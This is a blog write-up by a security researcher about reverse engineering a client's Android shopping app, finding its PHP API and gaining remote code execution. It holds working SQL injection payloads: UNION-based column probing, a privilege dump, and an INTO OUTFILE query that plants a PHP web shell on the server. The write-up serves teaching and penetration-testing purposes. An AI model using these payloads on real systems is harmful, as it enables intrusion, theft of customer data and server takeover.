Reversing an Android App to Code Execution on their Server.

Rony Das
Block Magnates
Published in
12 min readApr 17, 2022

Welcome everyone,

Before i start with this interesting story, a little background from who and where it is coming from?

My good name is Rony Das, 23 (grinding since, 2013) & I am primarily a Security Researcher and most of research works are on Android OS components, Windows security, (Android/Windows/Linux Malwares) and the only sad part of this is that they are not publicly documented for various reasons, on corporate i do Web/Mobile Pentesting for a living. To know more about my online presence visit: https://linktr.ee/ronydas

What does this Android Application do?

The application you will see me exploring and exploiting in this article is one of my clients. Yes, sometimes i do freelance for fun. Keeping their privacy policies and ethics in mind i will be excluding their application name (if anywhere mentioned) or anything that is relevant that might lead to their identifications.

They are basically an online eCommerce platform with a very good number of customer base. Somewhat alternative to Grofers/Blinkit.

Enough of boring and theoretical reading, let’s get into the practicals of it. And that is why you are reading it, i assume.

Technicalities of the Application & Tools

Know the target, better than the target knows themselves

In this section, we are going to thoroughly map technically everything what we find out about the application while reversing. And that is how we go about it, right?

Two ways we can test this application out.

  • Dynamic analysis
  • Static analysis

What is Dynamic Analysis?

  • Monitoring the application’s behaviour by executing the application (on runtime). We can use tools like BurpSuite to monitor it’s API call activities etc. (If you don’t know what an API is, we will come to that later)

What is Static Analysis?

  • Understanding the application by looking at it’s code/pseudo code (decompiled) and creating a mind map of how this could actually work. With Static analysis we can understand the application’s flow better.

My approach was dynamic analysis first. But do you know there’s also exists a defence mechanism to not let anyone (third-party) out there intercept your mobile application API calls? That mechanism is called SSL Pinning. You can go read about SSL pinning here: https://medium.com/@anuj.rai2489/ssl-pinning-254fa8ca2109

There’s always a way. SSL Pinning, if not implemented correctly, could easily be bypassed with tools like: Frida.re but you have to put a good amount of work to setup these tools, a rooted android device and then get to work and FYI I am lazy.

Why do you need a Physical android device? Because you never know, there are applications that tries to detect if they are being installed under any virtualized environment and if they successfully detects any such behaviour they exits from the process. Then again you can bypass that too. But trust me you don’t have to bypass everything.

The application we are trying to test has SSL Pinning implemented. So i ignored the dynamic analysis as a whole and decided to go with Static Analysis.

  1. Studying the APK file.

Download the APK file (APK stands for Android Package) to your disk. So that we can reveal magical secrets out of it.

But, before we go to any further details! For those who don’t know what an APK file is?

It’s basically just a zip archive. You can easily verify it with the file binary if you are on GNU/Linux. The file binary is used to determine the type of the file.

Reference: https://man7.org/linux/man-pages/man1/file.1.html

Output of the file command

Now that you understand what an APK file is, you can go and directly unzip it using the unzip binary. If not pre-installed you can install it using the below command. I already have this binary installed so my output will surely not match yours.

(base) raxx@b0x:~$ sudo apt install unzip -y 
Reading package lists... Done
Building dependency tree
Reading state information... Done
unzip is already the newest version (6.0-25ubuntu1).
unzip set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 98 not upgraded.

Once installed, you can go to your command line and run the below command to unzip the APK file. It’s not necessarily important to do all of these extracting tasks from your command line, Ubuntu also offers nautilus GUI to go direct to the folder, right click and extract the file on the current folder. But knowing these commands comes handy into situations where you get only a command shell to work with.

(base) raxx@b0x:~/Downloads/apks/apps$ unzip base.apk 
Archive: base.apk
inflating: AndroidManifest.xml
inflating: META-INF/CERT.RSA
inflating: META-INF/CERT.SF
inflating: META-INF/CHANGES
inflating: META-INF/MANIFEST.MF
inflating: META-INF/README.md

After the extraction of the the APK file is completed you might see similar output. For the time being we will be concentrating the .dex files.

Extracted ZIP archive output

You might ask? What is a .DEX file? DEX stands for Dalvik Executable. Works under only DVM (Dalvik Virtual Machine).

Image Reference: Javatpoint (https://www.javatpoint.com/dalvik-virtual-machine)

.DEX holds (certificates, manifest, resources) the interesting things about an APK. But if you open a .dex with your favourite text editor you will see pure gibberish.

To make sense of that gibberish you getting from the .dex file you have to convert it back to Java to make it readable and to take information out of it. How you do it? So if you have followed the above diagram, you will see multiple .class files are converted to .dex files and then package it to an APK. The answer is we have to reverse the procedure to get back to the .java files.

But again, how do you do it? There are many open source tools available in the market you can easily use one of them. My favourite is jadx (https://github.com/skylot/jadx).

Let’s move to the installation part. You can go two ways. Either you build it using gradle manually or get yourself a already build versions from: (https://github.com/skylot/jadx/releases/tag/v1.3.4). You can follow their instructions on git to install jadx into your system.

Assuming, by now you have this tool already installed on your system.

(base) raxx@b0x:~/mobile/jadx/build/jadx/bin$ ./jadx -d out ../../../../../Downloads/apks/com.redacted.customer/classes.dex 
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 4

After the process is completed, you will see a out/ directory in your current folder which contains all the files we need for information gathering & reconnaissance phase.

Directory structure

Till now i was following a tutorial-type writing style because all of the above might remain similar to a point. But from here after it’s all about how good you enumerate, how good is your observation skills are etc, etc..

Reconnaissance

Most of the android applications works with RESTful APIs (Application Programming Interface) to make their lives easy. So these APIs handle all their CRUD operations (CREATE, READ, UPDATE, DELETE) for them.

For example:

  1. Handling their Customer data (PIIs).
  2. General data (orders, coupons, cancelling of orders, addresses) and many more.

Now we know what an API is but how do you identify an API and how that is going to help us? Generally, such APIs can be created with languages like Javascript(ExpressJS), PHP(Lumen), Golang(Gin), Java(Structs), Python(FastAPI/Django) and more.

Now let’s get back to the point. Going through the files & directories i found a directory with an interesting name called data which contains interfaces to their APIs it seems.

What is an Interface you ask? If you come from a background of OOP based languages (Java or C#) or somewhat familiar with them you are likely to know about topics like Interfaces. If not read about it here: https://www.javatpoint.com/interface-in-java

Opening that Java file led us to a new way of looking into it.

What do i conclude by now taking the above image as a reference:

  1. I can see multiple filenames with .PHP file extensions and that indicates that the server back-end APIs are written in PHP.
  2. I can see HTTP methods(GET, POST) are defined and is probably using retrofit or something similar, with that in mind i know what HTTP method should i use while i hit the APIs with Postman or Burpsuite, whatever suits.
  3. I can see the parameters that the API endpoints expects from someone who is requesting these endpoints which makes things easier for me. And now i know what to send and what not.
  4. Additionally i can see the data types which the parameters expects.
  5. Last but not least, you can get a sense of what this particular file/endpoint does by just looking at the name of file. For example: (forget-password.php looking at the filename you know what it is for right? which is pretty much self defined.)

But where is this API deployed? We cannot hit/try these API endpoints out until and unless we know what is the exact URL/Address, where this API is deployed.

I started exploring random files and i saw this file named LoginActivity.java and this name just clicks on my mind, do you know why?

If you ever developed any web application or mobile application you know this, when you want your users to login to your application you need to hit a specify API to validate/verify the user and then generate an authentication token (JWT) to let users into your application.

and here you go:

Note: /redacted/ directory name was the name of the app itself in my case and it was important because when i started enumeration for the exact API path it turned out to be: https://www.redactedapp.app/redacted/api/

How do you enumerate files and directories? Use tools. I use gobuster (https://github.com/OJ/gobuster)

(base) raxx@b0x:~/mobile/hackbbs.org/wordlists/dirbuster$ gobuster -u https://redactedapp.app/redacted/ -w directory-list-2.3-medium.txt=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://redactedapp.app/redacted/
[+] Threads : 10
[+] Wordlist : directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2022/04/17 18:00:42 Starting gobuster
=====================================================
/ads (Status: 200)
/mail (Status: 301)
/contact-us (Status: 200)
/api (Status: 301)

We by now know that the APIs exists at point /redacted/api/*. But how do we verify if the files do exists at that very point? Answer is by visiting the file on your web browser and compare the responses the server throws.

For example if you try visiting a non existent directory on the server you might see error depending on what server your target is using. For me it’s:

And then if you visit an existing directory the response from the server suddenly changes, that indicates the directory actually exists in the server.

Now the question is, does this works same for files too? Let’s try?

I got the filenames from the source code i was exploring. Lets see if this exists on the server path i presumed?

Note: I didn’t took the filename customer-profile.php just randomly, will come to that later.

Visiting that filename shows me a output something similar to this, by this we know, this file actually exists on the server and we are good to go.

But there’s a problem. It requires a customer ID it says and the method this endpoint accepts is GET (we can understand that much from the code). I am assuming customer ID to be a uniquely identified key on the back-end database to segregate customer data.

I tried enumerating but genuinely failed to get a valid customer id as i skipped the Dynamic analysis. But now what? How do i proceed?

Do you remember, just few blocks above i mentioned that i didn’t just chose the customer-profile.php filename randomly and it was for a purpose. There are a good number of filenames out there on source code. why did i choose the customer-profile.php filename? Any guesses?

Basically there are two strong reasons to do so:

  1. This endpoint expects only one parameter, so i don’t have to satisfy it with multiple correct parameter data.
  2. This endpoint have a session mis-configuration vulnerability which allows me to input data from the GET parameter customerId and luckily the endpoint do not verify if i have valid session.

Because of the above two reasons, whenever i am passing any random input to the GET parameter the endpoint processes that data to the back-end without any session validation.

And that surely means i am reaching to some kind of database query where my input is being processed. That is indicating danger 🚨⚠️

Guess what? Yep. Possible SQL Injection. If you don’t know what SQL Injection attack is? Read here: https://www.w3schools.com/sql/sql_injection.asp

Assuming this to be a MySQL database. Let’s verify if there’s a SQL Injection on this parameter by balancing our query out?

Follow the responses we are getting back carefully, because that is the only indicator we have as we are not dealing with an error-based SQL Injection.

Query:

1' order by 100-+-

Response: “Oops something went wrong.”

Query:

1' order by 1--+-

Response: “Invalid customer id.”

Now we see the variation in the responses we are receiving from the server, highly likely to be an SQL Injection.

Let’s find out if we can count total number of columns we have on the database? But’s that a boring work and that will spam this article, it’s already long. I know how many columns it has: 12

Query:

1' and 0 union select 1,2,3,4,5,6,7,8,9,10,11,12--+-

Yay! Successful SQL Injection attack 🎉. The numbers which are getting printed on the webpage are the vulnerable columns, you can basically inject your SQL queries there and ex-filtrate user data, credentials, everything the database holds.

My intention was to get hold on to the server by popping a shell or something with similar access on the server. I activated my enumeration abilities and explored the database but didn’t found any good information other than the customer data. Even the administrator credentials were not present on the database(that is another story, will not discuss here).

Something i was NOT expecting in 2022 was having FILE write permission to our database user();

But if you know, you know. Lazy Developers!

Query:

1' and 0 union select 1,2,3,4,5,6,7,8,9,10,11,(select group_concat(grantee, privilege_type, is_grantable) FROM information_schema.user_privileges)--+-

Response:

How do i write files to the server with SQL Injection? It’s MySQL baby! we can SELECT .. INTO. If you don’t know about this, Read: MySQL Reference

Anyways, we still have a blocker. What is it? We need a absolute path of the server to write files into. And we don’t have one with us at the moment.

My directory enumeration was still going on while i was exploiting the vulnerability. And there’s a directory name which caught my attention.

/dashboard/

I opened the directory as it has a status code of 301, which led me to a phpinfo(); file. This file was not created intentionally by the devs, this was created on default installation and developers forgot to remove/clean these files/directories.

And with this, our cute blocker is now satisfied. We have a full path disclosure. Let’s try writing arbitrary files to the server via the SQL Injection.

Query:

1' and 0 union select 1,2,3,4,5,6,7,8,9,10,11,'<?php system($_GET["x"]); ?>' INTO OUTFILE '/opt/lampp/htdocs/redacted/x.php '--+-

And boom💥! Suddenly we have Remote Command Execution on the server. You now have permissions to DELETE, EDIT, CREATE files on the server. Feels magical.

But hey we are good Hackers, we make sure to report the clients back about the incident.

Do make sure to send likes to this post if you want more interesting hacking stories?

I’m available at: ronydas.ig@gmail.com

Happy Hacking!

--

--

Responses (6)

What are your thoughts?